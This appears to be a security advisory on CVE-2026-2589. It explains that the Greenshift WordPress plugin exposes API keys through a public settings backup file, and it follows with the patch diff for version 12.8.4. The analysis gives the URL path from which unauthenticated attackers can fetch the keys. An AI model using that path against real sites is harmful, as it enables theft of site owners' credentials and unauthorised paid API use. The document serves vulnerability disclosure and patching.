Atomic Edge analysis of CVE-2026-2589:
The vulnerability exists in the Greenshift WordPress plugin’s automated settings backup functionality. The plugin creates a backup file named ‘settings_backup.json’ in a publicly accessible directory. This file contains the complete plugin configuration, including sensitive API keys. The root cause is the backup creation process in the ‘gspb_save_global_settings’ function within init.php (lines 2830-2840). The function writes the entire settings array to a JSON file without authentication checks or access controls. The file is stored in the plugin’s upload directory, which is typically web-accessible. The patch modifies this function to exclude sensitive API keys before writing the backup. The keys excluded are ‘googleapi’, ‘turnstile_site_key’, ‘turnstile_secret_key’, ‘openaiapi’, ‘claudeapi’, ‘deepseekapi’, and ‘geminiapi’. The vulnerability allows unauthenticated attackers to retrieve API keys for OpenAI, Claude, Google Maps, Gemini, DeepSeek, and Cloudflare Turnstile services. Exploitation requires accessing the direct file URL, typically at /wp-content/uploads/greenshift/settings_backup.json. Successful exploitation exposes sensitive credentials that could lead to unauthorized API usage, financial loss, and account compromise.

CVE-2026-2589: Greenshift – animation and page builder blocks <= 12.8.3 – Unauthenticated Sensitive Information Exposure via Settings Backup (greenshift-animation-and-page-builder-blocks)
CVE-2026-2589
12.8.3
12.8.4
Analysis Overview
Differential between vulnerable and patched code
--- a/greenshift-animation-and-page-builder-blocks/blockrender/element/block.php
+++ b/greenshift-animation-and-page-builder-blocks/blockrender/element/block.php
@@ -134,6 +134,7 @@
$supported_attributes[] = 'poster';
$supported_attributes[] = 'title';
$supported_attributes[] = 'icon';
+ $supported_attributes[] = 'className';
return $supported_attributes;
});
@@ -657,9 +658,9 @@
if(!empty($value['dynamicEnable']) && function_exists('GSPB_make_dynamic_text')){
$dynamicAttributes[$index]['value'] = GSPB_make_dynamic_text($dynamicAttributes[$index]['value'], $block['attrs'], $block, $value);
}else{
- $value = sanitize_text_field($value['value']);
- $dynamicAttributes[$index]['value'] = greenshift_dynamic_placeholders($value);
- if(!empty($value['name']) && strpos($value['name'], 'on') === 0){
+ $sanitized_value = sanitize_text_field($value['value']);
+ $dynamicAttributes[$index]['value'] = greenshift_dynamic_placeholders($sanitized_value);
+ if(!empty($dynamicAttributes[$index]['name']) && strpos($dynamicAttributes[$index]['name'], 'on') === 0){
$dynamicAttributes[$index]['value'] = '';
}
}
@@ -874,7 +875,7 @@
if(!empty($overrides['textContent'])){
$html = str_replace($block['attrs']['textContent'], esc_html($overrides['textContent']), $html);
}
- if(!empty($overrides['src']) || !empty($overrides['alt']) || !empty($overrides['href']) || !empty($overrides['title']) || !empty($overrides['poster'])){
+ if(!empty($overrides['src']) || !empty($overrides['alt']) || !empty($overrides['href']) || !empty($overrides['title']) || !empty($overrides['poster']) || !empty($overrides['className'])){
$p = new WP_HTML_Tag_Processor( $html );
$p->next_tag();
if(!empty($overrides['src'])){
@@ -892,6 +893,10 @@
if(!empty($overrides['poster'])){
$p->set_attribute( 'poster', esc_url($overrides['poster']));
}
+ if(!empty($overrides['className'])){
+ $idClass = !empty($block['attrs']['localId']) ? $block['attrs']['localId'] : '';
+ $p->set_attribute( 'class', esc_attr($overrides['className']).' '.$idClass);
+ }
$html = $p->get_updated_html();
}
// Handle icon override for SVG elements
--- a/greenshift-animation-and-page-builder-blocks/build/gspbLibrary.asset.php
+++ b/greenshift-animation-and-page-builder-blocks/build/gspbLibrary.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-dom', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-rich-text'), 'version' => '79922cb5a397945c3d17');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-dom', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-rich-text'), 'version' => '5d873f5ee2abd7e8e32e');
--- a/greenshift-animation-and-page-builder-blocks/build/gspbSiteEditor.asset.php
+++ b/greenshift-animation-and-page-builder-blocks/build/gspbSiteEditor.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => 'd16d818f9c06cbce4cac');
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => 'c675f65f1f5d2ecefa79');
--- a/greenshift-animation-and-page-builder-blocks/build/gspbStylebook.asset.php
+++ b/greenshift-animation-and-page-builder-blocks/build/gspbStylebook.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '622f4d7382b6b12cea74');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => 'd901e597bd902734f819');
--- a/greenshift-animation-and-page-builder-blocks/build/index.asset.php
+++ b/greenshift-animation-and-page-builder-blocks/build/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives'), 'version' => 'bef74a4b537f97c10e44');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives'), 'version' => 'd7cd673c444048345de1');
--- a/greenshift-animation-and-page-builder-blocks/includes/abilities.php
+++ b/greenshift-animation-and-page-builder-blocks/includes/abilities.php
@@ -0,0 +1,596 @@
+<?php
+/**
+ * WordPress Abilities API integration for GreenShift.
+ * Requires WordPress 6.9+.
+ *
+ * @package greenshift-animation-and-page-builder-blocks
+ */
+
+if ( ! defined( 'ABSPATH' ) ) {
+ exit;
+}
+
+// Backward compatibility: skip if Abilities API is not available.
+if ( ! class_exists( 'WP_Ability' ) ) {
+ return;
+}
+
+/**
+ * Register the GreenShift ability category.
+ */
+add_action( 'wp_abilities_api_categories_init', 'gspb_register_ability_category' );
+function gspb_register_ability_category( $registry ) {
+ wp_register_ability_category( 'greenshift', array(
+ 'label' => __( 'GreenShift', 'greenshift-animation-and-page-builder-blocks' ),
+ 'description' => __( 'Design abilities provided by GreenShift – preset colors, element styles, custom colors, classes, and CSS variables.', 'greenshift-animation-and-page-builder-blocks' ),
+ ) );
+}
+
+/**
+ * Register all GreenShift abilities.
+ */
+add_action( 'wp_abilities_api_init', 'gspb_register_abilities' );
+function gspb_register_abilities( $registry ) {
+
+ // ── 1. Preset Colors ────────────────────────────────────────────────
+
+ wp_register_ability( 'greenshift/get-preset-colors', array(
+ 'label' => __( 'Get Preset Colors', 'greenshift-animation-and-page-builder-blocks' ),
+ 'description' => __( 'Retrieves the GreenShift global preset color palette.', 'greenshift-animation-and-page-builder-blocks' ),
+ 'category' => 'greenshift',
+ 'output_schema' => array(
+ 'type' => 'object',
+ 'description' => 'Key-value map of color names to color values (hex/rgb).',
+ ),
+ 'execute_callback' => 'gspb_ability_get_preset_colors',
+ 'permission_callback' => function () {
+ return current_user_can( 'edit_posts' );
+ },
+ 'meta' => array(
+ 'show_in_rest' => true,
+ 'annotations' => array(
+ 'readonly' => true,
+ 'idempotent' => true,
+ ),
+ ),
+ ) );
+
+ wp_register_ability( 'greenshift/update-preset-colors', array(
+ 'label' => __( 'Update Preset Colors', 'greenshift-animation-and-page-builder-blocks' ),
+ 'description' => __( 'Merges new colors into the GreenShift global preset color palette.', 'greenshift-animation-and-page-builder-blocks' ),
+ 'category' => 'greenshift',
+ 'input_schema' => array(
+ 'type' => 'object',
+ 'properties' => array(
+ 'colors' => array(
+ 'type' => 'object',
+ 'description' => 'Key-value map of color name to color value to set or merge.',
+ ),
+ ),
+ 'required' => array( 'colors' ),
+ ),
+ 'output_schema' => array(
+ 'type' => 'object',
+ 'description' => 'Operation result with success flag and updated colors.',
+ ),
+ 'execute_callback' => 'gspb_ability_update_preset_colors',
+ 'permission_callback' => function () {
+ return current_user_can( 'manage_options' );
+ },
+ 'meta' => array(
+ 'show_in_rest' => true,
+ 'annotations' => array(
+ 'idempotent' => true,
+ ),
+ ),
+ ) );
+
+ // ── 2. Element Styles ───────────────────────────────────────────────
+
+ wp_register_ability( 'greenshift/get-element-styles', array(
+ 'label' => __( 'Get Element Styles', 'greenshift-animation-and-page-builder-blocks' ),
+ 'description' => __( 'Retrieves the GreenShift global element style definitions.', 'greenshift-animation-and-page-builder-blocks' ),
+ 'category' => 'greenshift',
+ 'output_schema' => array(
+ 'type' => 'array',
+ 'description' => 'Array of element style definitions.',
+ ),
+ 'execute_callback' => 'gspb_ability_get_element_styles',
+ 'permission_callback' => function () {
+ return current_user_can( 'edit_posts' );
+ },
+ 'meta' => array(
+ 'show_in_rest' => true,
+ 'annotations' => array(
+ 'readonly' => true,
+ 'idempotent' => true,
+ ),
+ ),
+ ) );
+
+ wp_register_ability( 'greenshift/update-element-styles', array(
+ 'label' => __( 'Update Element Styles', 'greenshift-animation-and-page-builder-blocks' ),
+ 'description' => __( 'Replaces the GreenShift global element style definitions.', 'greenshift-animation-and-page-builder-blocks' ),
+ 'category' => 'greenshift',
+ 'input_schema' => array(
+ 'type' => 'object',
+ 'properties' => array(
+ 'elements' => array(
+ 'type' => 'array',
+ 'description' => 'Array of element style definitions to save.',
+ ),
+ ),
+ 'required' => array( 'elements' ),
+ ),
+ 'output_schema' => array(
+ 'type' => 'object',
+ 'description' => 'Operation result with success flag.',
+ ),
+ 'execute_callback' => 'gspb_ability_update_element_styles',
+ 'permission_callback' => function () {
+ return current_user_can( 'manage_options' );
+ },
+ 'meta' => array(
+ 'show_in_rest' => true,
+ 'annotations' => array(
+ 'idempotent' => true,
+ ),
+ ),
+ ) );
+
+ // ── 3. Custom Colors (WP Global Theme Palette) ──────────────────────
+
+ wp_register_ability( 'greenshift/get-custom-colors', array(
+ 'label' => __( 'Get Custom Colors', 'greenshift-animation-and-page-builder-blocks' ),
+ 'description' => __( 'Retrieves the WordPress global theme color palette.', 'greenshift-animation-and-page-builder-blocks' ),
+ 'category' => 'greenshift',
+ 'output_schema' => array(
+ 'type' => 'array',
+ 'description' => 'Array of theme color palette entries with name, slug, and color.',
+ ),
+ 'execute_callback' => 'gspb_ability_get_custom_colors',
+ 'permission_callback' => function () {
+ return current_user_can( 'edit_posts' );
+ },
+ 'meta' => array(
+ 'show_in_rest' => true,
+ 'annotations' => array(
+ 'readonly' => true,
+ 'idempotent' => true,
+ ),
+ ),
+ ) );
+
+ wp_register_ability( 'greenshift/add-custom-colors', array(
+ 'label' => __( 'Add Custom Colors', 'greenshift-animation-and-page-builder-blocks' ),
+ 'description' => __( 'Adds or updates colors in the WordPress global theme color palette.', 'greenshift-animation-and-page-builder-blocks' ),
+ 'category' => 'greenshift',
+ 'input_schema' => array(
+ 'type' => 'object',
+ 'properties' => array(
+ 'colors' => array(
+ 'type' => 'array',
+ 'description' => 'Array of color entries to add.',
+ 'items' => array(
+ 'type' => 'object',
+ 'properties' => array(
+ 'name' => array(
+ 'type' => 'string',
+ 'description' => 'Human-readable color name.',
+ ),
+ 'slug' => array(
+ 'type' => 'string',
+ 'description' => 'URL-safe slug for the color.',
+ ),
+ 'color' => array(
+ 'type' => 'string',
+ 'description' => 'CSS color value.',
+ ),
+ ),
+ 'required' => array( 'name', 'slug', 'color' ),
+ ),
+ ),
+ ),
+ 'required' => array( 'colors' ),
+ ),
+ 'output_schema' => array(
+ 'type' => 'object',
+ 'description' => 'Operation result with success flag.',
+ ),
+ 'execute_callback' => 'gspb_ability_add_custom_colors',
+ 'permission_callback' => function () {
+ return current_user_can( 'edit_posts' );
+ },
+ 'meta' => array(
+ 'show_in_rest' => true,
+ 'annotations' => array(
+ 'idempotent' => true,
+ ),
+ ),
+ ) );
+
+ // ── 4. Custom Classes ───────────────────────────────────────────────
+
+ wp_register_ability( 'greenshift/get-custom-classes', array(
+ 'label' => __( 'Get Custom Classes', 'greenshift-animation-and-page-builder-blocks' ),
+ 'description' => __( 'Retrieves the GreenShift global custom CSS classes.', 'greenshift-animation-and-page-builder-blocks' ),
+ 'category' => 'greenshift',
+ 'output_schema' => array(
+ 'type' => 'array',
+ 'description' => 'Array of custom class definitions.',
+ ),
+ 'execute_callback' => 'gspb_ability_get_custom_classes',
+ 'permission_callback' => function () {
+ return current_user_can( 'edit_posts' );
+ },
+ 'meta' => array(
+ 'show_in_rest' => true,
+ 'annotations' => array(
+ 'readonly' => true,
+ 'idempotent' => true,
+ ),
+ ),
+ ) );
+
+ wp_register_ability( 'greenshift/add-custom-classes', array(
+ 'label' => __( 'Add Custom Classes', 'greenshift-animation-and-page-builder-blocks' ),
+ 'description' => __( 'Adds or updates GreenShift global custom CSS classes.', 'greenshift-animation-and-page-builder-blocks' ),
+ 'category' => 'greenshift',
+ 'input_schema' => array(
+ 'type' => 'object',
+ 'properties' => array(
+ 'classes' => array(
+ 'type' => 'array',
+ 'description' => 'Array of class objects. "value" (class name) and "type" are required. Provide "css" with raw CSS rules for the class, "selectors" for sub-selector styles (e.g. hover, child elements), and "attributes" for stored block attributes.',
+ 'items' => array(
+ 'type' => 'object',
+ 'properties' => array(
+ 'value' => array(
+ 'type' => 'string',
+ 'description' => 'CSS class name (e.g. "my-custom-class").',
+ ),
+ 'type' => array(
+ 'type' => 'string',
+ 'description' => 'Class origin type: "global" (synced across site), "local" (page-scoped), "component" (reusable component), "classic" (plain className), or "custom" (framework class).',
+ ),
+ 'label' => array(
+ 'type' => 'string',
+ 'description' => 'Human-readable label for the class (defaults to value).',
+ ),
+ 'css' => array(
+ 'type' => 'string',
+ 'description' => 'Raw CSS rules for the class selector (e.g. "color: red; font-size: 16px;").',
+ ),
+ 'attributes' => array(
+ 'type' => 'object',
+ 'description' => 'Stored block style attributes object for the class.',
+ ),
+ 'selectors' => array(
+ 'type' => 'array',
+ 'description' => 'Array of sub-selector objects, each with "value" (CSS selector suffix like ":hover", " a", " .child"), "css" (rules for that selector), and optional "attributes".',
+ ),
+ ),
+ 'required' => array( 'value' ),
+ ),
+ ),
+ ),
+ 'required' => array( 'classes' ),
+ ),
+ 'output_schema' => array(
+ 'type' => 'object',
+ 'description' => 'Operation result with success flag.',
+ ),
+ 'execute_callback' => 'gspb_ability_add_custom_classes',
+ 'permission_callback' => function () {
+ return current_user_can( 'manage_options' );
+ },
+ 'meta' => array(
+ 'show_in_rest' => true,
+ 'annotations' => array(
+ 'idempotent' => true,
+ ),
+ ),
+ ) );
+
+ // ── 5. Custom CSS Variables ─────────────────────────────────────────
+
+ wp_register_ability( 'greenshift/get-custom-variables', array(
+ 'label' => __( 'Get Custom CSS Variables', 'greenshift-animation-and-page-builder-blocks' ),
+ 'description' => __( 'Retrieves the GreenShift global custom CSS code (may contain CSS variables).', 'greenshift-animation-and-page-builder-blocks' ),
+ 'category' => 'greenshift',
+ 'output_schema' => array(
+ 'type' => 'object',
+ 'description' => 'Object containing the custom_css string.',
+ ),
+ 'execute_callback' => 'gspb_ability_get_custom_variables',
+ 'permission_callback' => function () {
+ return current_user_can( 'edit_posts' );
+ },
+ 'meta' => array(
+ 'show_in_rest' => true,
+ 'annotations' => array(
+ 'readonly' => true,
+ 'idempotent' => true,
+ ),
+ ),
+ ) );
+
+ wp_register_ability( 'greenshift/update-custom-variables', array(
+ 'label' => __( 'Update Custom CSS Variables', 'greenshift-animation-and-page-builder-blocks' ),
+ 'description' => __( 'Updates the GreenShift global custom CSS code.', 'greenshift-animation-and-page-builder-blocks' ),
+ 'category' => 'greenshift',
+ 'input_schema' => array(
+ 'type' => 'object',
+ 'properties' => array(
+ 'custom_css' => array(
+ 'type' => 'string',
+ 'description' => 'Full custom CSS string to save.',
+ ),
+ ),
+ 'required' => array( 'custom_css' ),
+ ),
+ 'output_schema' => array(
+ 'type' => 'object',
+ 'description' => 'Operation result with success flag.',
+ ),
+ 'execute_callback' => 'gspb_ability_update_custom_variables',
+ 'permission_callback' => function () {
+ return current_user_can( 'manage_options' );
+ },
+ 'meta' => array(
+ 'show_in_rest' => true,
+ 'annotations' => array(
+ 'idempotent' => true,
+ ),
+ ),
+ ) );
+}
+
+
+// =====================================================================
+// Execute Callbacks
+// =====================================================================
+
+/**
+ * Get preset colors from gspb_global_settings.
+ */
+function gspb_ability_get_preset_colors() {
+ $settings = get_option( 'gspb_global_settings' );
+ $colours = ! empty( $settings['colours'] ) ? $settings['colours'] : '{}';
+
+ if ( is_string( $colours ) ) {
+ $colours = json_decode( $colours, true );
+ }
+
+ return is_array( $colours ) ? $colours : array();
+}
+
+/**
+ * Update preset colors – merges into existing palette.
+ */
+function gspb_ability_update_preset_colors( $input ) {
+ $settings = get_option( 'gspb_global_settings' );
+ if ( ! is_array( $settings ) ) {
+ $settings = array();
+ }
+
+ $existing = ! empty( $settings['colours'] ) ? $settings['colours'] : '{}';
+ if ( is_string( $existing ) ) {
+ $existing = json_decode( $existing, true );
+ }
+ if ( ! is_array( $existing ) ) {
+ $existing = array();
+ }
+
+ foreach ( $input['colors'] as $name => $value ) {
+ $existing[ sanitize_text_field( $name ) ] = sanitize_text_field( $value );
+ }
+
+ $settings['colours'] = wp_json_encode( $existing );
+ update_option( 'gspb_global_settings', $settings );
+
+ return array(
+ 'success' => true,
+ 'colors' => $existing,
+ );
+}
+
+/**
+ * Get element styles from gspb_global_settings.
+ */
+function gspb_ability_get_element_styles() {
+ $settings = get_option( 'gspb_global_settings' );
+ $elements = ! empty( $settings['elements'] ) ? $settings['elements'] : '[]';
+
+ if ( is_string( $elements ) ) {
+ $elements = json_decode( $elements, true );
+ }
+
+ return is_array( $elements ) ? $elements : array();
+}
+
+/**
+ * Update element styles – replaces the full list.
+ */
+function gspb_ability_update_element_styles( $input ) {
+ $settings = get_option( 'gspb_global_settings' );
+ if ( ! is_array( $settings ) ) {
+ $settings = array();
+ }
+
+ $settings['elements'] = wp_json_encode( $input['elements'] );
+ update_option( 'gspb_global_settings', $settings );
+
+ return array( 'success' => true );
+}
+
+/**
+ * Get custom colors from the WP global theme palette.
+ */
+function gspb_ability_get_custom_colors() {
+ $global = wp_get_global_settings();
+ $palette = ! empty( $global['color']['palette']['theme'] ) ? $global['color']['palette']['theme'] : array();
+
+ return $palette;
+}
+
+/**
+ * Add custom colors to the WP global theme palette.
+ * Reuses the same wp_global_styles storage logic as gspb_update_global_wp_settings().
+ */
+function gspb_ability_add_custom_colors( $input ) {
+ $global = wp_get_global_settings();
+ $palette = ! empty( $global['color']['palette']['theme'] ) ? $global['color']['palette']['theme'] : array();
+
+ // Build slug index for dedup.
+ $slug_map = array();
+ foreach ( $palette as $idx => $entry ) {
+ if ( ! empty( $entry['slug'] ) ) {
+ $slug_map[ $entry['slug'] ] = $idx;
+ }
+ }
+
+ foreach ( $input['colors'] as $color ) {
+ $slug = sanitize_title( $color['slug'] );
+ $entry = array(
+ 'name' => sanitize_text_field( $color['name'] ),
+ 'slug' => $slug,
+ 'color' => sanitize_text_field( $color['color'] ),
+ );
+
+ if ( isset( $slug_map[ $slug ] ) ) {
+ $palette[ $slug_map[ $slug ] ] = $entry;
+ } else {
+ $palette[] = $entry;
+ $slug_map[ $slug ] = count( $palette ) - 1;
+ }
+ }
+
+ // Persist to wp_global_styles post (same approach as init.php).
+ $theme = wp_get_theme();
+ if ( $theme->parent_theme ) {
+ $template_dir = basename( get_template_directory() );
+ $theme = wp_get_theme( $template_dir );
+ }
+ $themename = $theme->get( 'TextDomain' );
+
+ $post_type = 'wp_global_styles';
+ $post_name = 'wp-global-styles-' . $themename;
+ $styles_obj = get_page_by_path( $post_name, OBJECT, $post_type );
+ $styles_id = is_object( $styles_obj ) ? $styles_obj->ID : 0;
+
+ if ( $styles_id ) {
+ $content = json_decode( $styles_obj->post_content, true );
+ if ( empty( $content ) ) {
+ $content = array();
+ }
+ $content['settings']['color']['palette']['theme'] = $palette;
+ $content['isGlobalStylesUserThemeJSON'] = true;
+ $content['version'] = 3;
+
+ wp_update_post( array(
+ 'ID' => $styles_id,
+ 'post_name' => $post_name,
+ 'post_status' => 'publish',
+ 'post_title' => $styles_obj->post_title,
+ 'post_content' => wp_slash( wp_json_encode( $content ) ),
+ ) );
+ } else {
+ $content = array(
+ 'settings' => array(
+ 'color' => array(
+ 'palette' => array(
+ 'theme' => $palette,
+ ),
+ ),
+ ),
+ 'isGlobalStylesUserThemeJSON' => true,
+ 'version' => 3,
+ );
+
+ wp_insert_post( array(
+ 'post_content' => wp_slash( wp_json_encode( $content ) ),
+ 'post_status' => 'publish',
+ 'post_type' => $post_type,
+ 'post_name' => $post_name,
+ 'post_title' => 'Custom Styles',
+ ) );
+ }
+
+ return array(
+ 'success' => true,
+ 'palette' => $palette,
+ );
+}
+
+/**
+ * Get custom classes.
+ */
+function gspb_ability_get_custom_classes() {
+ $classes = get_option( 'greenshift_global_classes' );
+
+ return is_array( $classes ) ? $classes : array();
+}
+
+/**
+ * Add / update custom classes – merges by "value" key.
+ */
+function gspb_ability_add_custom_classes( $input ) {
+ $existing = get_option( 'greenshift_global_classes' );
+ if ( ! is_array( $existing ) ) {
+ $existing = array();
+ }
+
+ $value_map = array();
+ foreach ( $existing as $idx => $cls ) {
+ if ( ! empty( $cls['value'] ) ) {
+ $value_map[ $cls['value'] ] = $idx;
+ }
+ }
+
+ foreach ( $input['classes'] as $cls ) {
+ if ( empty( $cls['value'] ) ) {
+ continue;
+ }
+ $cls['value'] = sanitize_text_field( $cls['value'] );
+
+ if ( isset( $value_map[ $cls['value'] ] ) ) {
+ $existing[ $value_map[ $cls['value'] ] ] = $cls;
+ } else {
+ $existing[] = $cls;
+ $value_map[ $cls['value'] ] = count( $existing ) - 1;
+ }
+ }
+
+ update_option( 'greenshift_global_classes', $existing );
+
+ return array(
+ 'success' => true,
+ 'classes' => $existing,
+ );
+}
+
+/**
+ * Get custom CSS variables / code.
+ */
+function gspb_ability_get_custom_variables() {
+ $settings = get_option( 'gspb_global_settings' );
+ $custom_css = ! empty( $settings['custom_css'] ) ? $settings['custom_css'] : '';
+
+ return array( 'custom_css' => $custom_css );
+}
+
+/**
+ * Update custom CSS variables / code.
+ */
+function gspb_ability_update_custom_variables( $input ) {
+ $settings = get_option( 'gspb_global_settings' );
+ if ( ! is_array( $settings ) ) {
+ $settings = array();
+ }
+
+ $settings['custom_css'] = $input['custom_css'];
+ update_option( 'gspb_global_settings', $settings );
+
+ return array( 'success' => true );
+}
--- a/greenshift-animation-and-page-builder-blocks/init.php
+++ b/greenshift-animation-and-page-builder-blocks/init.php
@@ -75,6 +75,10 @@
$gspb_css_content = str_replace('@media (max-width: 991.98px)', '@media (max-width: ' . $get_breakpoints["desktop_down"] . 'px)', $gspb_css_content);
}
+ if (!empty($gspb_css_content)) {
+ $gspb_css_content = wp_strip_all_tags($gspb_css_content);
+ }
+
return apply_filters('gspb_get_final_css', $gspb_css_content);
}
@@ -2830,7 +2834,25 @@
}
$gspb_json_filename = 'settings_backup.json';
- $gspb_backup_data = json_encode( $settings, JSON_PRETTY_PRINT );
+
+ // Exclude API keys from backup
+ $backup_settings = $settings;
+ $keys_to_exclude = [
+ 'googleapi',
+ 'turnstile_site_key',
+ 'turnstile_secret_key',
+ 'openaiapi',
+ 'claudeapi',
+ 'deepseekapi',
+ 'geminiapi'
+ ];
+ foreach ($keys_to_exclude as $key) {
+ if (isset($backup_settings[$key])) {
+ unset($backup_settings[$key]);
+ }
+ }
+
+ $gspb_backup_data = json_encode( $backup_settings, JSON_PRETTY_PRINT );
if (!$wp_filesystem->put_contents($dir . $gspb_json_filename, $gspb_backup_data)) {
throw new Exception(__('JSON is not saved due the permission!!!', 'greenshift-animation-and-page-builder-blocks'));
--- a/greenshift-animation-and-page-builder-blocks/plugin.php
+++ b/greenshift-animation-and-page-builder-blocks/plugin.php
@@ -6,7 +6,7 @@
* Author: Wpsoul
* Author URI: https://greenshiftwp.com
* Plugin URI: https://greenshiftwp.com
- * Version: 12.8.3
+ * Version: 12.8.4
* Text Domain: greenshift-animation-and-page-builder-blocks
* License: GPL2+
* License URI: https://www.gnu.org/licenses/gpl-2.0.txt
@@ -178,6 +178,7 @@
require_once GREENSHIFT_DIR_PATH . 'settings.php';
require_once GREENSHIFT_DIR_PATH . 'includes/jsoptimization.php';
require_once GREENSHIFT_DIR_PATH . 'includes/importer.php';
+require_once GREENSHIFT_DIR_PATH . 'includes/abilities.php';
require_once GREENSHIFT_DIR_PATH . '/edd/edd_start.php';
add_action('plugins_loaded', 'gspb_GreenShift_plugin_init');
--- a/greenshift-animation-and-page-builder-blocks/settings.php
+++ b/greenshift-animation-and-page-builder-blocks/settings.php
@@ -1076,23 +1076,14 @@
</td>
<td>
<select name="openaiapimodel">
- <option value="gpt-5.1" <?php selected($openaiapimodel, 'gpt-5.1'); ?>> gpt-5.1 </option>
- <option value="gpt-4.1-mini" <?php selected($openaiapimodel, 'gpt-4.1-mini'); ?>> gpt-4.1-mini </option>
- <option value="gpt-5" <?php selected($openaiapimodel, 'gpt-5'); ?>> gpt-5 </option>
- <option value="gpt-5-mini" <?php selected($openaiapimodel, 'gpt-5-mini'); ?>> gpt-5-mini </option>
- <option value="gpt-5.2-pro" <?php selected($openaiapimodel, 'gpt-5.2-pro'); ?>> gpt-5.2-pro </option>
<option value="gpt-5.2" <?php selected($openaiapimodel, 'gpt-5.2'); ?>> gpt-5.2 </option>
- <option value="o1" <?php selected($openaiapimodel, 'o1'); ?>> o1 </option>
- <option value="o1-mini" <?php selected($openaiapimodel, 'o1-mini'); ?>> o1-mini </option>
- <option value="o3" <?php selected($openaiapimodel, 'o3'); ?>> o3 </option>
- <option value="o1-pro" <?php selected($openaiapimodel, 'o1-pro'); ?>> o1-pro </option>
- <option value="o4-mini" <?php selected($openaiapimodel, 'o4-mini'); ?>> o4-mini </option>
+ <option value="gpt-5.2-pro" <?php selected($openaiapimodel, 'gpt-5.2-pro'); ?>> gpt-5.2-pro </option>
<option value="gemini-3-flash-preview" <?php selected($openaiapimodel, 'gemini-3-flash-preview'); ?>> gemini-3-flash-preview </option>
<option value="gemini-2.5-flash" <?php selected($openaiapimodel, 'gemini-2.5-flash'); ?>> gemini-2.5-flash </option>
<option value="gemini-3-pro-preview" <?php selected($openaiapimodel, 'gemini-3-pro-preview'); ?>> gemini-3-pro-preview </option>
- <option value="claude-sonnet-4-5" <?php selected($openaiapimodel, 'claude-sonnet-4-5'); ?>> claude-sonnet-4-5 </option>
+ <option value="claude-sonnet-4-6" <?php selected($openaiapimodel, 'claude-sonnet-4-6'); ?>> claude-sonnet-4-6 </option>
<option value="claude-haiku-4-5" <?php selected($openaiapimodel, 'claude-haiku-4-5'); ?>> claude-haiku-4-5 </option>
- <option value="claude-opus-4-5-20251101" <?php selected($openaiapimodel, 'claude-opus-4-5-20251101'); ?>> claude-opus-4-5-20251101 </option>
+ <option value="claude-opus-4-6" <?php selected($openaiapimodel, 'claude-opus-4-6'); ?>> claude-opus-4-6 </option>
<option value="deepseek-chat" <?php selected($openaiapimodel, 'deepseek-chat'); ?>> deepseek-chat </option>
</select>
</td>
@@ -1103,19 +1094,15 @@
</td>
<td>
<select name="aihelpermodel">
- <option value="gpt-5.1" <?php selected($aihelpermodel, 'gpt-5.1'); ?>> gpt-5.1 </option>
- <option value="gpt-4.1-mini" <?php selected($aihelpermodel, 'gpt-4.1-mini'); ?>> gpt-4.1-mini </option>
+ <option value="gpt-5.2" <?php selected($aihelpermodel, 'gpt-5.2'); ?>> gpt-5.2 </option>
<option value="gpt-5" <?php selected($aihelpermodel, 'gpt-5'); ?>> gpt-5 </option>
- <option value="gpt-5-mini" <?php selected($aihelpermodel, 'gpt-5-mini'); ?>> gpt-5-mini </option>
<option value="gpt-5.2-pro" <?php selected($aihelpermodel, 'gpt-5.2-pro'); ?>> gpt-5.2-pro </option>
- <option value="o3" <?php selected($aihelpermodel, 'o3'); ?>> o3 </option>
- <option value="o4-mini" <?php selected($aihelpermodel, 'o4-mini'); ?>> o4-mini </option>
<option value="gemini-3-flash-preview" <?php selected($aihelpermodel, 'gemini-3-flash-preview'); ?>> gemini-3-flash-preview </option>
<option value="gemini-3-pro-preview" <?php selected($aihelpermodel, 'gemini-3-pro-preview'); ?>> gemini-3-pro-preview </option>
<option value="gemini-2.5-flash" <?php selected($aihelpermodel, 'gemini-2.5-flash'); ?>> gemini-2.5-flash </option>
<option value="claude-haiku-4-5" <?php selected($aihelpermodel, 'claude-haiku-4-5'); ?>> claude-haiku-4-5 </option>
- <option value="claude-sonnet-4-5" <?php selected($aihelpermodel, 'claude-sonnet-4-5'); ?>> claude-sonnet-4-5 </option>
- <option value="claude-opus-4-5-20251101" <?php selected($aihelpermodel, 'claude-opus-4-5-20251101'); ?>> claude-opus-4-5-20251101 </option>
+ <option value="claude-sonnet-4-6" <?php selected($aihelpermodel, 'claude-sonnet-4-6'); ?>> claude-sonnet-4-6 </option>
+ <option value="claude-opus-4-6" <?php selected($aihelpermodel, 'claude-opus-4-6'); ?>> claude-opus-4-6 </option>
</select>
</td>
@@ -1128,7 +1115,7 @@
<select name="aiimagemodel">
<option value="gemini-2.5-flash-image-preview" <?php selected($aiimagemodel, 'gemini-2.5-flash-image-preview'); ?>> Google Flash 2.5 </option>
<option value="gemini-3-pro-image-preview" <?php selected($aiimagemodel, 'gemini-3-pro-image-preview'); ?>> Google Pro 3 Preview </option>
- <option value="gpt-image-1" <?php selected($aiimagemodel, 'gpt-image-1'); ?>> GPT Image 1 </option>
+ <option value="gpt-image-1" <?php selected($aiimagemodel, 'gpt-image-1'); ?>> GPT Image 1.5 </option>
